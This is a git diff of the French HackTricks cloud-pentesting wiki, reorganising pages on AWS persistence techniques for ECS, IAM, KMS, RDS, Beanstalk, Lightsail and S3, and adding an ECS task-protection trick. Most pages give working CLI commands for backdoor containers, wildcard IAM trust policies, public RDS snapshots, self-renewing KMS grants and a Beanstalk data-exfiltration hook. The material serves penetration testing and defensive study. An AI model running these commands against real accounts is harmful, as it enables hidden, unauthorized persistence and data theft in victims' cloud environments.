+ +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md deleted file mode 100644 index 97cdf9b1e..000000000 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md +++ /dev/null @@ -1,93 +0,0 @@ -# AWS - ECS Persistence - -{{#include ../../../banners/hacktricks-training.md}} - -## ECS - -Pour plus d'informations, consultez : - -{{#ref}} -../aws-services/aws-ecs-enum.md -{{#endref}} - -### Tâche ECS Périodique Cachée - -> [!NOTE] -> TODO: Test - -Un attaquant peut créer une tâche ECS périodique cachée en utilisant Amazon EventBridge pour **programmer l'exécution d'une tâche malveillante périodiquement**. Cette tâche peut effectuer de la reconnaissance, exfiltrer des données ou maintenir la persistance dans le compte AWS. -```bash -# Create a malicious task definition -aws ecs register-task-definition --family "malicious-task" --container-definitions '[ -{ -"name": "malicious-container", -"image": "malicious-image:latest", -"memory": 256, -"cpu": 10, -"essential": true -} -]' - -# Create an Amazon EventBridge rule to trigger the task periodically -aws events put-rule --name "malicious-ecs-task-rule" --schedule-expression "rate(1 day)" - -# Add a target to the rule to run the malicious ECS task -aws events put-targets --rule "malicious-ecs-task-rule" --targets '[ -{ -"Id": "malicious-ecs-task-target", -"Arn": "arn:aws:ecs:region:account-id:cluster/your-cluster", -"RoleArn": "arn:aws:iam::account-id:role/your-eventbridge-role", -"EcsParameters": { -"TaskDefinitionArn": "arn:aws:ecs:region:account-id:task-definition/malicious-task", -"TaskCount": 1 -} -} -]' -``` -### Conteneur de porte dérobée dans une définition de tâche ECS existante - -> [!NOTE] -> TODO: Test - -Un attaquant peut ajouter un **conteneur de porte dérobée furtif** dans une définition de tâche ECS existante qui s'exécute aux côtés de conteneurs légitimes. Le conteneur de porte dérobée peut être utilisé pour la persistance et pour effectuer des activités malveillantes. -```bash -# Update the existing task definition to include the backdoor container -aws ecs register-task-definition --family "existing-task" --container-definitions '[ -{ -"name": "legitimate-container", -"image": "legitimate-image:latest", -"memory": 256, -"cpu": 10, -"essential": true -}, -{ -"name": "backdoor-container", -"image": "malicious-image:latest", -"memory": 256, -"cpu": 10, -"essential": false -} -]' -``` -### Service ECS non documenté - -> [!NOTE] -> TODO: Tester - -Un attaquant peut créer un **service ECS non documenté** qui exécute une tâche malveillante. En définissant le nombre souhaité de tâches à un minimum et en désactivant la journalisation, il devient plus difficile pour les administrateurs de remarquer le service malveillant. -```bash -# Create a malicious task definition -aws ecs register-task-definition --family "malicious-task" --container-definitions '[ -{ -"name": "malicious-container", -"image": "malicious-image:latest", -"memory": 256, -"cpu": 10, -"essential": true -} -]' - -# Create an undocumented ECS service with the malicious task definition -aws ecs create-service --service-name "undocumented-service" --task-definition "malicious-task" --desired-count 1 --cluster "your-cluster" -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence/README.md new file mode 100644 index 000000000..642b3e954 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence/README.md @@ -0,0 +1,151 @@ +# AWS - ECS Persistance + +{{#include ../../../../banners/hacktricks-training.md}} + +## ECS + +Pour plus d'informations, consultez : + +{{#ref}} +../../aws-services/aws-ecs-enum.md +{{#endref}} + +### Tâche ECS périodique cachée + +> [!NOTE] +> TODO: Tester + +Un attaquant peut créer une tâche ECS périodique cachée en utilisant Amazon EventBridge pour **planifier l'exécution périodique d'une tâche malveillante**. Cette tâche peut effectuer de la reconnaissance, exfiltrer des données, ou maintenir la persistance dans le compte AWS. +```bash +# Create a malicious task definition +aws ecs register-task-definition --family "malicious-task" --container-definitions '[ +{ +"name": "malicious-container", +"image": "malicious-image:latest", +"memory": 256, +"cpu": 10, +"essential": true +} +]' + +# Create an Amazon EventBridge rule to trigger the task periodically +aws events put-rule --name "malicious-ecs-task-rule" --schedule-expression "rate(1 day)" + +# Add a target to the rule to run the malicious ECS task +aws events put-targets --rule "malicious-ecs-task-rule" --targets '[ +{ +"Id": "malicious-ecs-task-target", +"Arn": "arn:aws:ecs:region:account-id:cluster/your-cluster", +"RoleArn": "arn:aws:iam::account-id:role/your-eventbridge-role", +"EcsParameters": { +"TaskDefinitionArn": "arn:aws:ecs:region:account-id:task-definition/malicious-task", +"TaskCount": 1 +} +} +]' +``` +### Backdoor Container in Existing ECS Task Definition + +> [!NOTE] +> TODO : Tester + +Un attaquant peut ajouter un **stealthy backdoor container** dans une ECS task definition existante qui s'exécute aux côtés des conteneurs légitimes. Le backdoor container peut être utilisé pour la persistance et pour mener des activités malveillantes. +```bash +# Update the existing task definition to include the backdoor container +aws ecs register-task-definition --family "existing-task" --container-definitions '[ +{ +"name": "legitimate-container", +"image": "legitimate-image:latest", +"memory": 256, +"cpu": 10, +"essential": true +}, +{ +"name": "backdoor-container", +"image": "malicious-image:latest", +"memory": 256, +"cpu": 10, +"essential": false +} +]' +``` +### Service ECS non documenté + +> [!NOTE] +> TODO : Tester + +Un attaquant peut créer un **service ECS non documenté** qui exécute une tâche malveillante. En réglant le nombre souhaité de tâches au minimum et en désactivant la journalisation, il devient plus difficile pour les administrateurs de détecter le service malveillant. +```bash +# Create a malicious task definition +aws ecs register-task-definition --family "malicious-task" --container-definitions '[ +{ +"name": "malicious-container", +"image": "malicious-image:latest", +"memory": 256, +"cpu": 10, +"essential": true +} +]' + +# Create an undocumented ECS service with the malicious task definition +aws ecs create-service --service-name "undocumented-service" --task-definition "malicious-task" --desired-count 1 --cluster "your-cluster" +``` +### Persistance sur ECS via Task Scale-In Protection (UpdateTaskProtection) + +Abuse ecs:UpdateTaskProtection pour empêcher les tâches de service d'être arrêtées par des événements de scale‑in et des déploiements progressifs. En prolongeant continuellement la protection, un attaquant peut maintenir une tâche longue durée en fonctionnement (pour du C2 ou la collecte de données) même si les défenseurs réduisent desiredCount ou poussent de nouvelles révisions de tâche. + +Steps to reproduce in us-east-1: +```bash +# 1) Cluster (create if missing) +CLUSTER=$(aws ecs list-clusters --query 'clusterArns[0]' --output text 2>/dev/null) +[ -z "$CLUSTER" -o "$CLUSTER" = "None" ] && CLUSTER=$(aws ecs create-cluster --cluster-name ht-ecs-persist --query 'cluster.clusterArn' --output text) + +# 2) Minimal backdoor task that just sleeps (Fargate/awsvpc) +cat > /tmp/ht-persist-td.json << 'JSON' +{ +"family": "ht-persist", +"networkMode": "awsvpc", +"requiresCompatibilities": ["FARGATE"], +"cpu": "256", +"memory": "512", +"containerDefinitions": [ +{"name": "idle","image": "public.ecr.aws/amazonlinux/amazonlinux:latest", +"command": ["/bin/sh","-c","sleep 864000"]} +] +} +JSON +aws ecs register-task-definition --cli-input-json file:///tmp/ht-persist-td.json >/dev/null + +# 3) Create service (use default VPC public subnet + default SG) +VPC=$(aws ec2 describe-vpcs --filters Name=isDefault,Values=true --query 'Vpcs[0].VpcId' --output text) +SUBNET=$(aws ec2 describe-subnets --filters Name=vpc-id,Values=$VPC Name=map-public-ip-on-launch,Values=true --query 'Subnets[0].SubnetId' --output text) +SG=$(aws ec2 describe-security-groups --filters Name=vpc-id,Values=$VPC Name=group-name,Values=default --query 'SecurityGroups[0].GroupId' --output text) +aws ecs create-service --cluster "$CLUSTER" --service-name ht-persist-svc \ +--task-definition ht-persist --desired-count 1 --launch-type FARGATE \ +--network-configuration "awsvpcConfiguration={subnets=[$SUBNET],securityGroups=[$SG],assignPublicIp=ENABLED}" + +# 4) Get running task ARN +TASK=$(aws ecs list-tasks --cluster "$CLUSTER" --service-name ht-persist-svc --desired-status RUNNING --query 'taskArns[0]' --output text) + +# 5) Enable scale-in protection for 24h and verify +aws ecs update-task-protection --cluster "$CLUSTER" --tasks "$TASK" --protection-enabled --expires-in-minutes 1440 +aws ecs get-task-protection --cluster "$CLUSTER" --tasks "$TASK" + +# 6) Try to scale service to 0 (task should persist) +aws ecs update-service --cluster "$CLUSTER" --service ht-persist-svc --desired-count 0 +aws ecs list-tasks --cluster "$CLUSTER" --service-name ht-persist-svc --desired-status RUNNING + +# Optional: rolling deployment blocked by protection +aws ecs register-task-definition --cli-input-json file:///tmp/ht-persist-td.json >/dev/null +aws ecs update-service --cluster "$CLUSTER" --service ht-persist-svc --task-definition ht-persist --force-new-deployment +aws ecs describe-services --cluster "$CLUSTER" --services ht-persist-svc --query 'services[0].events[0]' + +# 7) Cleanup +aws ecs update-task-protection --cluster "$CLUSTER" --tasks "$TASK" --no-protection-enabled || true +aws ecs update-service --cluster "$CLUSTER" --service ht-persist-svc --desired-count 0 || true +aws ecs delete-service --cluster "$CLUSTER" --service ht-persist-svc --force || true +aws ecs deregister-task-definition --task-definition ht-persist || true +``` +Impact : Une tâche protégée reste RUNNING malgré desiredCount=0 et bloque les remplacements lors de nouveaux déploiements, permettant une persistence furtive et de longue durée au sein du service ECS. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md deleted file mode 100644 index c25e71bf7..000000000 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md +++ /dev/null @@ -1,21 +0,0 @@ -# AWS - EFS Persistence - -{{#include ../../../banners/hacktricks-training.md}} - -## EFS - -Pour plus d'informations, consultez : - -{{#ref}} -../aws-services/aws-efs-enum.md -{{#endref}} - -### Modifier la politique de ressource / Groupes de sécurité - -En modifiant la **politique de ressource et/ou les groupes de sécurité**, vous pouvez essayer de persister votre accès au système de fichiers. - -### Créer un point d'accès - -Vous pourriez **créer un point d'accès** (avec un accès root à `/`) accessible depuis un service où vous avez mis en œuvre **autre persistance** pour maintenir un accès privilégié au système de fichiers. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence/README.md new file mode 100644 index 000000000..c9a62247b --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence/README.md @@ -0,0 +1,21 @@ +# AWS - EFS Persistence + +{{#include ../../../../banners/hacktricks-training.md}} + +## EFS + +Pour plus d'informations, consultez : + +{{#ref}} +../../aws-services/aws-efs-enum.md +{{#endref}} + +### Modify Resource Policy / Security Groups + +En modifiant la **resource policy et/ou security groups**, vous pouvez essayer de maintenir votre accès au système de fichiers. + +### Create Access Point + +Vous pouvez **create an access point** (avec un accès root à `/`) accessible depuis un service où vous avez implémenté **other persistence** afin de conserver un accès privilégié au système de fichiers. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence/README.md similarity index 54% rename from src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md rename to src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence/README.md index 08e55657d..ba13eefc7 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence/README.md @@ -1,35 +1,35 @@ -# AWS - Elastic Beanstalk Persistence +# AWS - Elastic Beanstalk Persistance -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} ## Elastic Beanstalk Pour plus d'informations, consultez : {{#ref}} -../aws-services/aws-elastic-beanstalk-enum.md +../../aws-services/aws-elastic-beanstalk-enum.md {{#endref}} -### Persistance dans l'Instance +### Persistance dans l'instance -Afin de maintenir la persistance à l'intérieur du compte AWS, certains **mécanismes de persistance pourraient être introduits à l'intérieur de l'instance** (tâche cron, clé ssh...) afin que l'attaquant puisse y accéder et voler les **identifiants du rôle IAM depuis le service de métadonnées**. +Pour maintenir la persistance dans le compte AWS, un **mécanisme de persistance pourrait être introduit dans l'instance** (cron job, ssh key...) permettant à l'attaquant d'y accéder et de voler IAM role **credentials from the metadata service**. -### Backdoor dans la Version +### Backdoor dans la version -Un attaquant pourrait introduire une backdoor dans le code à l'intérieur du dépôt S3 afin qu'il exécute toujours sa backdoor et le code attendu. +Un attaquant pourrait introduire un backdoor dans le code du repo S3 afin qu'il exécute toujours son backdoor en plus du code attendu. -### Nouvelle version avec backdoor +### Nouvelle backdoored version -Au lieu de modifier le code de la version actuelle, l'attaquant pourrait déployer une nouvelle version de l'application avec backdoor. +Au lieu de modifier le code de la version actuelle, l'attaquant pourrait déployer une nouvelle backdoored version de l'application. -### Abus des Hooks de Cycle de Vie des Ressources Personnalisées +### Abuser des Custom Resource Lifecycle Hooks > [!NOTE] -> TODO: Test +> TODO : Tester -Elastic Beanstalk fournit des hooks de cycle de vie qui vous permettent d'exécuter des scripts personnalisés lors de la provision et de la terminaison des instances. Un attaquant pourrait **configurer un hook de cycle de vie pour exécuter périodiquement un script qui exfiltre des données ou maintient l'accès au compte AWS**. +Elastic Beanstalk fournit des lifecycle hooks qui permettent d'exécuter des scripts personnalisés lors du provisioning et de la terminaison des instances. Un attaquant pourrait **configure a lifecycle hook to periodically execute a script that exfiltrates data or maintains access to the AWS account**. ```bash -bashCopy code# Attacker creates a script that exfiltrates data and maintains access +# Attacker creates a script that exfiltrates data and maintains access echo '#!/bin/bash aws s3 cp s3://sensitive-data-bucket/data.csv /tmp/data.csv gzip /tmp/data.csv @@ -72,4 +72,4 @@ Fn::GetAtt: # Attacker applies the new environment configuration aws elasticbeanstalk update-environment --environment-name my-env --option-settings Namespace="aws:elasticbeanstalk:customoption",OptionName="CustomConfigurationTemplate",Value="stealthy_lifecycle_hook.yaml" ``` -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md deleted file mode 100644 index 8c8efb1da..000000000 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md +++ /dev/null @@ -1,47 +0,0 @@ -# AWS - IAM Persistence - -{{#include ../../../banners/hacktricks-training.md}} - -## IAM - -Pour plus d'informations, accédez à : - -{{#ref}} -../aws-services/aws-iam-enum.md -{{#endref}} - -### Persistence IAM courante - -- Créer un utilisateur -- Ajouter un utilisateur contrôlé à un groupe privilégié -- Créer des clés d'accès (de l'utilisateur nouvel ou de tous les utilisateurs) -- Accorder des permissions supplémentaires aux utilisateurs/groupes contrôlés (politiques attachées ou politiques en ligne) -- Désactiver MFA / Ajouter votre propre appareil MFA -- Créer une situation de jonglage de chaîne de rôle (plus d'informations ci-dessous dans la persistance STS) - -### Politiques de confiance de rôle de porte dérobée - -Vous pourriez créer une porte dérobée dans une politique de confiance pour pouvoir l'assumer pour une ressource externe contrôlée par vous (ou pour tout le monde) : -```json -{ -"Version": "2012-10-17", -"Statement": [ -{ -"Effect": "Allow", -"Principal": { -"AWS": ["*", "arn:aws:iam::123213123123:root"] -}, -"Action": "sts:AssumeRole" -} -] -} -``` -### Version de la politique de porte dérobée - -Donnez des permissions d'administrateur à une politique qui n'est pas sa dernière version (la dernière version doit sembler légitime), puis assignez cette version de la politique à un utilisateur/groupe contrôlé. - -### Porte dérobée / Créer un fournisseur d'identité - -Si le compte fait déjà confiance à un fournisseur d'identité commun (comme Github), les conditions de confiance pourraient être augmentées afin que l'attaquant puisse en abuser. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence/README.md new file mode 100644 index 000000000..4e95d7aa6 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence/README.md @@ -0,0 +1,47 @@ +# AWS - IAM Persistance + +{{#include ../../../../banners/hacktricks-training.md}} + +## IAM + +Pour plus d'informations, consultez : + +{{#ref}} +../../aws-services/aws-iam-enum.md +{{#endref}} + +### Persistance IAM courante + +- Créer un utilisateur +- Ajouter un utilisateur contrôlé à un groupe privilégié +- Créer des clés d'accès (du nouvel utilisateur ou de tous les utilisateurs) +- Accorder des permissions supplémentaires aux utilisateurs/groupes contrôlés (politiques attachées ou politiques inline) +- Désactiver le MFA / Ajouter votre propre appareil MFA +- Créer une situation de Role Chain Juggling (plus d'infos ci-dessous dans la persistance STS) + +### Backdoor Role Trust Policies + +Vous pouvez backdoor une trust policy afin de pouvoir l'assumer pour une ressource externe contrôlée par vous (ou pour tout le monde) : +```json +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Principal": { +"AWS": ["*", "arn:aws:iam::123213123123:root"] +}, +"Action": "sts:AssumeRole" +} +] +} +``` +### Backdoor Policy Version + +Donner des permissions Administrator à une policy qui n'est pas dans sa dernière version (la dernière version doit sembler légitime), puis assigner cette version de la policy à un user/group contrôlé. + +### Backdoor / Create Identity Provider + +Si le compte fait déjà confiance à un identity provider courant (comme Github), les conditions du trust pourraient être étendues afin que l'attaquant puisse en abuser. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md deleted file mode 100644 index 7f0c66c1f..000000000 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md +++ /dev/null @@ -1,37 +0,0 @@ -# AWS - KMS Persistence - -{{#include ../../../banners/hacktricks-training.md}} - -## KMS - -Pour plus d'informations, consultez : - -{{#ref}} -../aws-services/aws-kms-enum.md -{{#endref}} - -### Accorder l'accès via les politiques KMS - -Un attaquant pourrait utiliser la permission **`kms:PutKeyPolicy`** pour **donner accès** à une clé à un utilisateur sous son contrôle ou même à un compte externe. Consultez la [**page KMS Privesc**](../aws-privilege-escalation/aws-kms-privesc.md) pour plus d'informations. - -### Grant éternel - -Les grants sont une autre façon de donner à un principal certaines permissions sur une clé spécifique. Il est possible de donner un grant qui permet à un utilisateur de créer des grants. De plus, un utilisateur peut avoir plusieurs grants (même identiques) sur la même clé. - -Par conséquent, il est possible qu'un utilisateur ait 10 grants avec toutes les permissions. L'attaquant devrait surveiller cela en permanence. Et si à un moment donné 1 grant est supprimé, 10 autres devraient être générés. - -(Nous utilisons 10 et non 2 pour pouvoir détecter qu'un grant a été supprimé alors que l'utilisateur a encore des grants) -```bash -# To generate grants, generate 10 like this one -aws kms create-grant \ ---key-id \ ---grantee-principal \ ---operations "CreateGrant" "Decrypt" - -# To monitor grants -aws kms list-grants --key-id -``` -> [!NOTE] -> Un grant peut donner des permissions uniquement à partir de ceci : [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence/README.md new file mode 100644 index 000000000..9ce285d14 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence/README.md @@ -0,0 +1,37 @@ +# AWS - KMS Persistence + +{{#include ../../../../banners/hacktricks-training.md}} + +## KMS + +Pour plus d'informations, voir : + +{{#ref}} +../../aws-services/aws-kms-enum.md +{{#endref}} + +### Grant acces via KMS policies + +Un attaquant pourrait utiliser la permission **`kms:PutKeyPolicy`** pour **donner l'accès** à une clé à un utilisateur sous son contrôle ou même à un compte externe. Consultez la [**page KMS Privesc**](../../aws-privilege-escalation/aws-kms-privesc/README.md) pour plus d'informations. + +### Eternal Grant + +Les grants sont une autre manière d'accorder à un principal des permissions sur une clé spécifique. Il est possible de donner un grant qui permet à un utilisateur de créer des grants. De plus, un utilisateur peut avoir plusieurs grants (même identiques) sur la même clé. + +Ainsi, il est possible qu'un utilisateur possède 10 grants avec toutes les permissions. L'attaquant doit surveiller cela en permanence. Et si à un moment donné 1 grant est supprimé, 10 autres devraient être générés. + +(Nous utilisons 10 et non 2 afin de pouvoir détecter qu'un grant a été supprimé alors que l'utilisateur possède encore des grants) +```bash +# To generate grants, generate 10 like this one +aws kms create-grant \ +--key-id \ +--grantee-principal \ +--operations "CreateGrant" "Decrypt" + +# To monitor grants +aws kms list-grants --key-id +``` +> [!NOTE] +> Un grant peut accorder des permissions uniquement depuis ceci : [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations) + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md deleted file mode 100644 index 453bbf4c2..000000000 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md +++ /dev/null @@ -1,33 +0,0 @@ -# AWS - Lightsail Persistence - -{{#include ../../../banners/hacktricks-training.md}} - -## Lightsail - -Pour plus d'informations, consultez : - -{{#ref}} -../aws-services/aws-lightsail-enum.md -{{#endref}} - -### Télécharger les clés SSH de l'instance et les mots de passe de la base de données - -Ils ne seront probablement pas changés, donc les avoir est une bonne option pour la persistance. - -### Backdoor Instances - -Un attaquant pourrait accéder aux instances et les backdoor : - -- En utilisant un **rootkit** traditionnel par exemple -- En ajoutant une nouvelle **clé SSH publique** -- En exposant un port avec du port knocking avec une backdoor - -### Persistance DNS - -Si des domaines sont configurés : - -- Créez un sous-domaine pointant vers votre IP afin d'avoir un **subdomain takeover** -- Créez un enregistrement **SPF** vous permettant d'envoyer des **emails** depuis le domaine -- Configurez l'**IP du domaine principal à la vôtre** et effectuez un **MitM** de votre IP vers les légitimes - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence/README.md new file mode 100644 index 000000000..a38b51c0a --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence/README.md @@ -0,0 +1,33 @@ +# AWS - Lightsail Persistance + +{{#include ../../../../banners/hacktricks-training.md}} + +## Lightsail + +Pour plus d'informations, consultez : + +{{#ref}} +../../aws-services/aws-lightsail-enum.md +{{#endref}} + +### Télécharger les clés SSH des instances et les mots de passe DB + +Ils ne seront probablement pas modifiés, donc les conserver constitue une bonne option pour la persistance. + +### Backdoor Instances + +Un attaquant pourrait accéder aux instances et y installer une backdoor : + +- En utilisant un **rootkit** traditionnel, par exemple +- Ajouter une nouvelle **public SSH key** +- Exposer un port via du **port knocking** avec une backdoor + +### DNS persistance + +Si des domaines sont configurés : + +- Créer un sous-domaine pointant vers votre IP afin d'obtenir un **subdomain takeover** +- Créer un enregistrement **SPF** vous permettant d'envoyer des **e-mails** depuis le domaine +- Configurer l'IP du domaine principal sur la vôtre et effectuer un **MitM** depuis votre IP vers celles légitimes + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md deleted file mode 100644 index 58f0b8439..000000000 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md +++ /dev/null @@ -1,27 +0,0 @@ -# AWS - RDS Persistence - -{{#include ../../../banners/hacktricks-training.md}} - -## RDS - -Pour plus d'informations, consultez : - -{{#ref}} -../aws-services/aws-relational-database-rds-enum.md -{{#endref}} - -### Rendre l'instance accessible publiquement : `rds:ModifyDBInstance` - -Un attaquant ayant cette permission peut **modifier une instance RDS existante pour activer l'accessibilité publique**. -```bash -aws rds modify-db-instance --db-instance-identifier target-instance --publicly-accessible --apply-immediately -``` -### Créer un utilisateur admin dans la DB - -Un attaquant pourrait simplement **créer un utilisateur dans la DB** donc même si le mot de passe de l'utilisateur maître est modifié, il **ne perd pas l'accès** à la base de données. - -### Rendre le snapshot public -```bash -aws rds modify-db-snapshot-attribute --db-snapshot-identifier --attribute-name restore --values-to-add all -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence/README.md new file mode 100644 index 000000000..4e65bc335 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence/README.md @@ -0,0 +1,27 @@ +# AWS - RDS Persistance + +{{#include ../../../../banners/hacktricks-training.md}} + +## RDS + +Pour plus d'informations, consultez : + +{{#ref}} +../../aws-services/aws-relational-database-rds-enum.md +{{#endref}} + +### Rendre une instance accessible publiquement : `rds:ModifyDBInstance` + +Un attaquant disposant de cette permission peut **modifier une instance RDS existante pour activer l'accessibilité publique**. +```bash +aws rds modify-db-instance --db-instance-identifier target-instance --publicly-accessible --apply-immediately +``` +### Créer un utilisateur admin dans la DB + +Un attaquant pourrait simplement **créer un utilisateur dans la DB** afin que même si le mot de passe du master user est modifié, il **ne perde pas l'accès** à la base de données. + +### Rendre le snapshot public +```bash +aws rds modify-db-snapshot-attribute --db-snapshot-identifier --attribute-name restore --values-to-add all +``` +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md deleted file mode 100644 index dc895b0fd..000000000 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md +++ /dev/null @@ -1,25 +0,0 @@ -# AWS - S3 Persistence - -{{#include ../../../banners/hacktricks-training.md}} - -## S3 - -Pour plus d'informations, consultez : - -{{#ref}} -../aws-services/aws-s3-athena-and-glacier-enum.md -{{#endref}} - -### KMS Client-Side Encryption - -Lorsque le processus de chiffrement est terminé, l'utilisateur utilisera l'API KMS pour générer une nouvelle clé (`aws kms generate-data-key`) et il **stockera la clé chiffrée générée à l'intérieur des métadonnées** du fichier ([exemple de code python](https://aioboto3.readthedocs.io/en/latest/cse.html#how-it-works-kms-managed-keys)) afin que lors du déchiffrement, il puisse la déchiffrer à nouveau avec KMS : - -
- -Par conséquent, un attaquant pourrait obtenir cette clé à partir des métadonnées et déchiffrer avec KMS (`aws kms decrypt`) pour obtenir la clé utilisée pour chiffrer les informations. De cette manière, l'attaquant aura la clé de chiffrement et si cette clé est réutilisée pour chiffrer d'autres fichiers, il pourra l'utiliser. - -### Using S3 ACLs - -Bien que les ACL des buckets soient généralement désactivées, un attaquant ayant suffisamment de privilèges pourrait en abuser (si elles sont activées ou si l'attaquant peut les activer) pour conserver l'accès au bucket S3. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence/README.md new file mode 100644 index 000000000..08c7bdce5 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence/README.md @@ -0,0 +1,25 @@ +# AWS - S3 Persistence + +{{#include ../../../../banners/hacktricks-training.md}} + +## S3 + +Pour plus d'informations, consultez : + +{{#ref}} +../../aws-services/aws-s3-athena-and-glacier-enum.md +{{#endref}} + +### KMS Client-Side Encryption + +When the encryption process is done the user will use the KMS API to generate a new key (`aws kms generate-data-key`) and he will **store the generated encrypted key inside the metadata** of the file ([python code example](https://aioboto3.readthedocs.io/en/latest/cse.html#how-it-works-kms-managed-keys)) so when the decrypting occur it can decrypt it using KMS again: + +
+ +Par conséquent, un attaquant pourrait récupérer cette key depuis les metadata et la decrypt avec KMS (`aws kms decrypt`) pour obtenir la clé utilisée pour chiffrer l'information. De cette façon, l'attaquant disposera de la encryption key et, si cette key est réutilisée pour chiffrer d'autres fichiers, il pourra les utiliser. + +### Using S3 ACLs + +Bien que les ACLs des buckets soient généralement désactivées, un attaquant disposant de privilèges suffisants pourrait en abuser (si elles sont activées ou si l'attaquant peut les activer) pour conserver l'accès au bucket S3. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sagemaker-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sagemaker-persistence.md deleted file mode 100644 index 0108823a8..000000000 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-sagemaker-persistence.md +++ /dev/null @@ -1,158 +0,0 @@ -# Aws Sagemaker Persistence - -{{#include ../../../banners/hacktricks-training.md}} - -## Vue d'ensemble des techniques de persistance - -Cette section décrit les méthodes pour obtenir une persistance dans SageMaker en abusant des Configurations de Cycle de Vie (LCC), y compris les shells inversés, les tâches cron, le vol de credentials via IMDS et les portes dérobées SSH. Ces scripts s'exécutent avec le rôle IAM de l'instance et peuvent persister à travers les redémarrages. La plupart des techniques nécessitent un accès réseau sortant, mais l'utilisation de services sur le plan de contrôle AWS peut toujours permettre le succès si l'environnement est en mode "VPC uniquement". -#### Remarque : Les instances de notebook SageMaker sont essentiellement des instances EC2 gérées configurées spécifiquement pour les charges de travail d'apprentissage automatique. - -## Permissions requises -* Instances de notebook : -``` -sagemaker:CreateNotebookInstanceLifecycleConfig -sagemaker:UpdateNotebookInstanceLifecycleConfig -sagemaker:CreateNotebookInstance -sagemaker:UpdateNotebookInstance -``` -* Applications de Studio : -``` -sagemaker:CreateStudioLifecycleConfig -sagemaker:UpdateStudioLifecycleConfig -sagemaker:UpdateUserProfile -sagemaker:UpdateSpace -sagemaker:UpdateDomain 